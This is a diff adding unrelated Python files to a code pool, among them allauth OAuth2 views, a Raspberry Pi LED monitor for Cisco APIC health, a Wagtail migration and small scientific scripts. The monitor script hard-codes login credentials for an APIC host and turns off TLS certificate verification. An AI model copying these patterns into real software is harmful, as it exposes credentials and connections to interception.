construction sectors are hard-coded as sector 1 and 2 + return ["urbansim.zone." + self.variable_name, + my_attribute_label("baseline_%s" % self.variable_name)] + + def compute(self, dataset_pool): + zones = self.get_dataset() + base = zones.get_attribute("baseline_%s" % self.variable_name) + return ma.filled(( zones.get_attribute(self.variable_name) - base) * 100 / \ + ma.masked_where(base==0, base.astype(float32),0.0)) diff --git a/pool/shard009/Python/0084002_views.py b/pool/shard009/Python/0084002_views.py new file mode 100644 index 0000000000000000000000000000000000000000..2aab2ed6a47618f0b810496b036584a40c69cf76 --- /dev/null +++ b/pool/shard009/Python/0084002_views.py @@ -0,0 +1,151 @@ +from __future__ import absolute_import + +from datetime import timedelta +from requests import RequestException + +from django.core.exceptions import PermissionDenied +from django.http import HttpResponseRedirect +from django.urls import reverse +from django.utils import timezone + +from allauth.exceptions import ImmediateHttpResponse +from allauth.socialaccount import providers +from allauth.socialaccount.helpers import ( + complete_social_login, + render_authentication_error, +) +from allauth.socialaccount.models import SocialLogin, SocialToken +from allauth.socialaccount.providers.base import ProviderException +from allauth.socialaccount.providers.oauth2.client import ( + OAuth2Client, + OAuth2Error, +) +from allauth.utils import build_absolute_uri, get_request_param + +from ..base import AuthAction, AuthError + + +class OAuth2Adapter(object): + expires_in_key = 'expires_in' + supports_state = True + redirect_uri_protocol = None + access_token_method = 'POST' + login_cancelled_error = 'access_denied' + scope_delimiter = ' ' + basic_auth = False + headers = None + + def __init__(self, request): + self.request = request + + def get_provider(self): + return providers.registry.by_id(self.provider_id, self.request) + + def complete_login(self, request, app, access_token, **kwargs): + """ + Returns a SocialLogin instance + """ + raise NotImplementedError + + def get_callback_url(self, request, app): + callback_url = reverse(self.provider_id + "_callback") + protocol = self.redirect_uri_protocol + return build_absolute_uri(request, callback_url, protocol) + + def parse_token(self, data): + token = SocialToken(token=data['access_token']) + token.token_secret = data.get('refresh_token', '') + expires_in = data.get(self.expires_in_key, None) + if expires_in: + token.expires_at = timezone.now() + timedelta( + seconds=int(expires_in)) + return token + + +class OAuth2View(object): + @classmethod + def adapter_view(cls, adapter): + def view(request, *args, **kwargs): + self = cls() + self.request = request + self.adapter = adapter(request) + try: + return self.dispatch(request, *args, **kwargs) + except ImmediateHttpResponse as e: + return e.response + return view + + def get_client(self, request, app): + callback_url = self.adapter.get_callback_url(request, app) + provider = self.adapter.get_provider() + scope = provider.get_scope(request) + client = OAuth2Client(self.request, app.client_id, app.secret, + self.adapter.access_token_method, + self.adapter.access_token_url, + callback_url, + scope, + scope_delimiter=self.adapter.scope_delimiter, + headers=self.adapter.headers, + basic_auth=self.adapter.basic_auth) + return client + + +class OAuth2LoginView(OAuth2View): + def dispatch(self, request, *args, **kwargs): + provider = self.adapter.get_provider() + app = provider.get_app(self.request) + client = self.get_client(request, app) + action = request.GET.get('action', AuthAction.AUTHENTICATE) + auth_url = self.adapter.authorize_url + auth_params = provider.get_auth_params(request, action) + client.state = SocialLogin.stash_state(request) + try: + return HttpResponseRedirect(client.get_redirect_url( + auth_url, auth_params)) + except OAuth2Error as e: + return render_authentication_error( + request, + provider.id, + exception=e) + + +class OAuth2CallbackView(OAuth2View): + def dispatch(self, request, *args, **kwargs): + if 'error' in request.GET or 'code' not in request.GET: + # Distinguish cancel from error + auth_error = request.GET.get('error', None) + if auth_error == self.adapter.login_cancelled_error: + error = AuthError.CANCELLED + else: + error = AuthError.UNKNOWN + return render_authentication_error( + request, + self.adapter.provider_id, + error=error) + app = self.adapter.get_provider().get_app(self.request) + client = self.get_client(request, app) + try: + access_token = client.get_access_token(request.GET['code']) + token = self.adapter.parse_token(access_token) + token.app = app + login = self.adapter.complete_login(request, + app, + token, + response=access_token) + login.token = token + if self.adapter.supports_state: + login.state = SocialLogin \ + .verify_and_unstash_state( + request, + get_request_param(request, 'state')) + else: + login.state = SocialLogin.unstash_state(request) + return complete_social_login(request, login) + except (PermissionDenied, + OAuth2Error, + RequestException, + ProviderException) as e: + return render_authentication_error( + request, + self.adapter.provider_id, + exception=e) diff --git a/pool/shard009/Python/0084005_monitor.py b/pool/shard009/Python/0084005_monitor.py new file mode 100644 index 0000000000000000000000000000000000000000..e29111a3fcf3a0861997a36c7797af26bdf9ade6 --- /dev/null +++ b/pool/shard009/Python/0084005_monitor.py @@ -0,0 +1,219 @@ +#!/usr/bin/env python +# +# +# For debugging we use the bottom left corner pixel and: +# +# show red dot if failed to get data +# show blue dot if failed to refresh the cookie. +# show orange when we start refreshing data. +# show yellow when login fails. +# +# +# ver 1.1 added dispaly of ip address on boot in binary format. +# +# + + +import time +import json +import requests +import time +import unicornhat as unicorn +import urllib3 +import socket +import commands + +urllib3.disable_warnings() + +unicorn.set_layout(unicorn.PHAT) +unicorn.rotation(180) +unicorn.brightness(0.4) +height,width=unicorn.get_shape() + + +# login details for your APIC + +apic = '10.50.138.215' +username = 'aci-health' +password = 'aci-health' + + + +# show blue pixels in each corner +def show_icon(timedel): + unicorn.set_pixel(0,0,0,0,255) + unicorn.set_pixel(0,3,0,0,255) + unicorn.set_pixel(7,0,0,0,255) + unicorn.set_pixel(7,3,0,0,255) + unicorn.show() + time.sleep(timedel) + + + +# show ipv4 address in binary on the 4x8 LEDs +def show_ip(timedel): + for address in filter(None, commands.getoutput("hostname -I").split(" ")): + show_icon(1) + try: + print "processing: ",address + for octetidx,octet in enumerate(address.split(".")): + bin_octet="{0:08b}".format(int(octet)) + for idx,c in enumerate(bin_octet[::-1]): + if c == "0": + unicorn.set_pixel(idx,octetidx,0,255,0) + elif c == "1": + unicorn.set_pixel(idx,octetidx,255,0,0) + print "display: ", address + unicorn.show() + time.sleep(timedel) + except: + print "skip ipv6" + pass + unicorn.clear() + unicorn.show() + return() + +# some colour defs +red=(255,0,0) +orange=(255,128,0) +green=(0,255,0) + +# +# get data from APIC function +# +def getdata(): + + url='https://%s/api/node/mo/topology/health.json' % apic + + try: + print "Getting data from APIC...",apic + response = requests.get(url,cookies=cook,timeout=2,verify=False) + json_data = response.json() + health = json_data["imdata"][0]["fabricHealthTotal"]["attributes"]["cur"] + print "currnet health score is",health + show_unicorn(int(health)) + print "\n---------------\n" + except: + unicorn.clear() + unicorn.set_pixel(0,0,255,0,0) + unicorn.show() + print "Missing health data, or timeout" + pass + return() + +# +# refresh session cookie +# + +def refreshSession(oldcook): + url = 'https://%s/api/aaaRefresh.json' % apic + print "\n---------------\n" + r = None + while r is None: + try: + r = requests.get(url, cookies=oldcook,timeout=10,verify=False) + newcook = r.cookies + print "got a new cookie" + print "\n---------------\n" + except: + unicorn.clear() + unicorn.set_pixel(0,0,0,0,255) + unicorn.show() + print "timeout refreshing cookie" + print "\n---------------\n" + newcook = loginAPIC() + pass + return(newcook) + +# +# display the health score +# + +def show_unicorn(health): + if health == 100: + colour=green + level=8 + elif 90 <= health <= 99: + colour=green + level=7 + elif 60 <= health <= 89: + colour=orange + level=6 + elif 50 <= health <= 59: + colour=orange + level=5 + elif 30 <= health <= 49: + colour=orange + level=4 + elif 20 <= health <= 29: + colour=red + level=2 + else: + colour=red + level=1 + + print "level",level + print "colour",colour + + for y in range(level): + for x in range(width): + r=colour[0] + g=colour[1] + b=colour[2] + unicorn.set_pixel(y,x,r,g,b) + unicorn.show() + time.sleep(0.05) + return() + +def loginAPIC(): + headers={'content-type':'application/json'} + auth = {'aaaUser': {'attributes': {'name':username,'pwd':password}}} + url = 'https://%s/api/aaaLogin.json' % apic + r = None + while r is None: + try: + r = requests.post( url, data=json.dumps(auth), timeout=5, verify=False ) + print "logging in, status ",r.status_code + cook = r.cookies + except: + unicorn.clear() + unicorn.set_pixel(0,0,255,255,0) + unicorn.show() + print "timeout logging in, but we will keep trying" + show_ip(5) + pass + + return(cook) + +# -------------------------------------------------------------------------- +# Main program loop starts here +# -------------------------------------------------------------------------- + +print "Stared monitorig script..." + +show_icon(1) + +print "waiting for network" + +while len(filter(None, commands.getoutput("hostname -I").split(" "))) < 1: + print "Waiting for at least 1 ip" + +print "got an ip address" + +# show ip addresses for 10s (1s delay between if more IPs found) + +show_ip(10) + +# Perform initial login, later we will need to refresh the cookie frequently + +cook = loginAPIC() + +while True: + for num in range(0,8): + unicorn.clear() + unicorn.set_pixel(0,0,255,128,0) + unicorn.show() + getdata() + time.sleep(5) + print "Refreshing cookie" + cook = refreshSession(cook) diff --git a/pool/shard009/Python/0084008_decorators.py b/pool/shard009/Python/0084008_decorators.py new file mode 100644 index 0000000000000000000000000000000000000000..5fbf7de2e12c109c020a4af3fad6d16a57605836 --- /dev/null +++ b/pool/shard009/Python/0084008_decorators.py @@ -0,0 +1,19 @@ +import jingo +import paypal + + +def handle_paypal_error(fn): + """Wraps the view so that if a paypal error occurs, you show + a more menaningful error message. May or may not make sense for + all views, so providing as a decorator.""" + def wrapper(request, *args, **kw): + try: + return fn(request, *args, **kw) + except paypal.PaypalError: + # This is specific handling for the submission step. + dest = request.GET.get('dest') + return jingo.render(request, 'site/500_paypal.html', + {'submission': dest == 'submission', + 'addon': kw.get('addon', None)}, + status=500) + return wrapper diff --git a/pool/shard009/Python/0084020_0002_create_homepage.py b/pool/shard009/Python/0084020_0002_create_homepage.py new file mode 100644 index 0000000000000000000000000000000000000000..d1721828467063abc2fdd6783dcf2d7484ed9449 --- /dev/null +++ b/pool/shard009/Python/0084020_0002_create_homepage.py @@ -0,0 +1,45 @@ +# -*- coding: utf-8 -*- +from __future__ import unicode_literals + +from django.db import migrations + + +def create_homepage(apps, schema_editor): + # Get models + ContentType = apps.get_model('contenttypes.ContentType') + Page = apps.get_model('wagtailcore.Page') + Site = apps.get_model('wagtailcore.Site') + HomePage = apps.get_model('pages.HomePage') + + # Delete the default homepage + Page.objects.get(id=2).delete() + + # Create content type for homepage model + homepage_content_type, created = ContentType.objects.get_or_create( + model='homepage', app_label='pages') + + # Create a new homepage + homepage = HomePage.objects.create( + title="Homepage", + slug='home', + content_type=homepage_content_type, + path='00010001', + depth=2, + numchild=0, + url_path='/home/', + ) + + # Create a site with the new homepage set as the root + Site.objects.create( + hostname='localhost', root_page=homepage, is_default_site=True) + + +class Migration(migrations.Migration): + + dependencies = [ + ('pages', '0001_initial'), + ] + + operations = [ + migrations.RunPython(create_homepage), + ] diff --git a/pool/shard009/Python/0084029_simplec.py b/pool/shard009/Python/0084029_simplec.py new file mode 100644 index 0000000000000000000000000000000000000000..bdfd46d8fea6dfe0821cdfe2ed89908d9c2276e3 --- /dev/null +++ b/pool/shard009/Python/0084029_simplec.py @@ -0,0 +1,19 @@ +import sys +import antlr3 +import antlr3.tree +from SimpleCLexer import SimpleCLexer +from SimpleCParser import SimpleCParser +from SimpleCWalker import SimpleCWalker + +cStream = antlr3.StringStream(open(sys.argv[1]).read()) +lexer = SimpleCLexer(cStream) +tStream = antlr3.CommonTokenStream(lexer) +parser = SimpleCParser(tStream) +r = parser.program() + +print "tree=" + r.tree.toStringTree() + +nodes = antlr3.tree.CommonTreeNodeStream(r.tree) +nodes.setTokenStream(tStream) +walker = SimpleCWalker(nodes) +walker.program() diff --git a/pool/shard009/Python/0084033_main.py b/pool/shard009/Python/0084033_main.py new file mode 100644 index 0000000000000000000000000000000000000000..fe2f6756201a26e559421f3acd71aa6c0a38ac64 --- /dev/null +++ b/pool/shard009/Python/0084033_main.py @@ -0,0 +1,58 @@ +#!/usr/bin/env python + +import argparse +import satellite +from mpl_toolkits.basemap import Basemap +import matplotlib.pyplot as plt +import glob +import os.path + +def plot_data_matrix(data_matrix): + pass + + +# Clean working environment (should be called before main) +def clean(): + import os + os.system("rm -f /tmp/*.gz /tmp/*.nc") + +def main(): + + # Define parser data + parser = argparse.ArgumentParser(description='Plotting satellite data.') + # First arguments. Dates. TODO:SPECIFY INITIAL AND FINAL ORDER + parser.add_argument('date', metavar='YYYY.MM.DD YYYY.MM.DD', type=str, nargs=2,\ + help='Initial date followed by end date') + # Specify sattelites to exclude from command line. TODO: change to flag! + parser.add_argument('--no-ascat', dest='ascat_bool', action="store_true", \ + default= False, help="Don't display ASCAT information") + + # Extract dates from args + args=parser.parse_args() + initialDate = args.date[0] + finalDate = args.date[1] + + # Flow control depending on specified options + if not args.ascat_bool: + # Instantiate ASCAT and get datetime object + ascat = satellite.ASCAT(initialDate, finalDate) + ascat.get_datetime_object() + # Download files from ASCAT servers + #ascat.download_files() + # Get figure handler and colormap + m, cmap = satellite.generate_figure() + # Process for every *.nc file in folder + for src_name in glob.glob(os.path.join("/tmp", '*.nc')): + base = os.path.basename(src_name) + lat, lon, data = ascat.extract_data(src_name) + satellite.plot_data(m, lat, lon, data, cmap) + # Finalize plot design and show it + plt.title('ASCAT - Sfc Wind Speed') + plt.show() + + else: + print "You've discarded all the satellites I know!" + +if __name__ == "__main__": + #clean() + main() diff --git a/pool/shard009/Python/0084038_test_issue0495.py b/pool/shard009/Python/0084038_test_issue0495.py new file mode 100644 index 0000000000000000000000000000000000000000..73333043ed9533e9bc7e666258c05c1e24074c63 --- /dev/null +++ b/pool/shard009/Python/0084038_test_issue0495.py @@ -0,0 +1,65 @@ +# -*- coding: UTF-8 -*- +""" +Explore issue #495. +HINT: Problem can be reproduced if you remove encoding-declaration from above. + +:: + Traceback (most recent call last): + File "/usr/local/bin/behave", line 11, in + sys.exit(main()) + File "/usr/local/lib/python2.7/dist-packages/behave/__main__.py", line 109, in main + failed = runner.run() + ... + File "/usr/local/lib/python2.7/dist-packages/behave/model.py", line 919, in run + runner.run_hook('after_scenario', runner.context, self) + File "/usr/local/lib/python2.7/dist-packages/behave/runner.py", line 405, in run_hook + self.hooks[name](context, *args) + File "/mnt/work/test/lib/logcapture.py", line 22, in f + v = h.getvalue() + File "/usr/local/lib/python2.7/dist-packages/behave/log_capture.py", line 99, in getvalue + return '\n'.join(self.formatter.format(r) for r in self.buffer) + UnicodeDecodeError: 'ascii' codec can't decode byte 0xc2 in position 3807: ordinal not in range(128) +""" + +from behave.log_capture import capture +from behave.configuration import Configuration +import logging +import pytest + +# ----------------------------------------------------------------------------- +# TEST SUPPORT +# ----------------------------------------------------------------------------- +# def ensure_logging_setup(): +# logging.basicConfig(level=logging.INFO, format="%(levelname)s: %(message)s") + +class SimpleContext(object): pass + + +# ----------------------------------------------------------------------------- +# TESTS: +# ----------------------------------------------------------------------------- +@pytest.mark.parametrize("log_message", [ + u"Hello Alice", # case: unproblematic (GOOD CASE) + u"Ärgernis ist überall", # case: unicode-string + "Ärgernis", # case: byte-string (use encoding-declaration above) +]) +def test_issue(log_message): + @capture(level=logging.INFO) + def hook_after_scenario(context, message): + logging.warn(message) + raise RuntimeError() + + # -- PREPARE: + # ensure_logging_setup() + context = SimpleContext() + context.config = Configuration("", load_config=False, + log_capture=True, + logging_format="%(levelname)s: %(message)s", + logging_level=logging.INFO + ) + context.config.setup_logging() + + # -- EXECUTE: + with pytest.raises(RuntimeError): + hook_after_scenario(context, log_message) + # EXPECT: UnicodeError is not raised diff --git a/pool/shard009/Python/0084039_c_measurers.py b/pool/shard009/Python/0084039_c_measurers.py new file mode 100644 index 0000000000000000000000000000000000000000..4175ec11e102697e9dfa0532f11ba35ee9a80edc --- /dev/null +++ b/pool/shard009/Python/0084039_c_measurers.py @@ -0,0 +1,84 @@ +from __future__ import print_function, division +from abc import ABCMeta, abstractmethod +import numpy as np +from ciabatta.meta import make_repr_str +from ahoy import measurers + + +class CMeasurer(measurers.Measurer): + __metaclass__ = ABCMeta + + @abstractmethod + def get_cs(self): + return + + +class FieldCMeasurer(CMeasurer): + + def __init__(self, c_field, positions): + self.c_field = c_field + self.positions = positions + + def get_cs(self): + return self.c_field.get_val_i(self.positions) + + def __repr__(self): + fs = [('c_field', self.c_field)] + return make_repr_str(self, fs) + + +class LinearCMeasurer(CMeasurer): + + def __init__(self, positions): + self.positions = positions + + def get_cs(self): + return self.positions.dr[:, 0] + + def __repr__(self): + fs = [] + return make_repr_str(self, fs) + + +class GradCMeasurer(measurers.Measurer): + __metaclass__ = ABCMeta + + @abstractmethod + def get_grad_cs(self): + return + + +class FieldGradCMeasurer(GradCMeasurer): + + def __init__(self, c_field, positions): + self.c_field = c_field + self.positions = positions + + def get_grad_cs(self): + return self.c_field.get_grad_i(self.positions) + + def __repr__(self): + fs = [('c_field', self.c_field)] + return make_repr_str(self, fs) + + +class ConstantGradCMeasurer(GradCMeasurer): + + def __init__(self, n, dim): + self.grad_c = np.zeros([n, dim]) + self.grad_c[:, 0] = 1.0 + + @property + def n(self): + return self.grad_c.shape[0] + + @property + def dim(self): + return self.grad_c.shape[1] + + def get_grad_cs(self): + return self.grad_c + + def __repr__(self): + fs = [] + return make_repr_str(self, fs) diff --git a/pool/shard009/Python/0084047_functions.py b/pool/shard009/Python/0084047_functions.py new file mode 100644 index 0000000000000000000000000000000000000000..c5bcc41cea75d95d324eb521e4809147eceed034 --- /dev/null +++ b/pool/shard009/Python/0084047_functions.py @@ -0,0 +1,52 @@ +''' +fsl: plugin for the wordfish python package +functions for extracting region names from standard anatomical +atlases. + +In the future we can have a wordfish-data plugin to work with the image +data itself. For now, just the terms. + +''' +from wordfish.utils import get_json, has_internet_connectivity +from wordfish.standards.xml.functions import read_xml_url + +# IMPORTS FOR ALL PLUGINS +from wordfish.corpus import save_sentences +from wordfish.terms import save_terms +from wordfish.terms import save_relations +from wordfish.plugin import generate_job + +# REQUIRED WORDFISH FUNCTION +def go_fish(): + generate_job(func="extract_terms",category="terms") + +def extract_terms(output_dir): + + if has_internet_connectivity(): + terms = dict() + atlases = get_json("http://neurovault.org/api/atlases/?format=json") + for atlas in atlases: + label_description_file = "http://neurovault.org/media/images/291/Talairach-labels-2mm.xml" + print "Parsing %s" %(label_description_file) + xml_dict = read_xml_url(label_description_file) + atlas_name = xml_dict["atlas"]["header"]["name"] + atlas_name_label = atlas_name.replace(" ","_").lower() + atlas_labels = xml_dict["atlas"]["data"]["label"] + for l in range(len(atlas_labels)): + label = atlas_labels[l] + # We will use coordinate for unique ID + unique_id = "%s_%s" %(atlas_name_label,l) + terms[unique_id] = {"name":label["#text"], + "x":label["@x"], + "y":label["@y"], + "z":label["@z"]} + + save_terms(terms,output_dir=output_dir) + + else: + print "Cannot define fsl atlas terms, no internet connectivity." + + +def get_atlas_xml(): + # If > 100 atlases, we would need to get pagination pages here. + return get_json("http://neurovault.org/api/atlases/?format=json")["results"]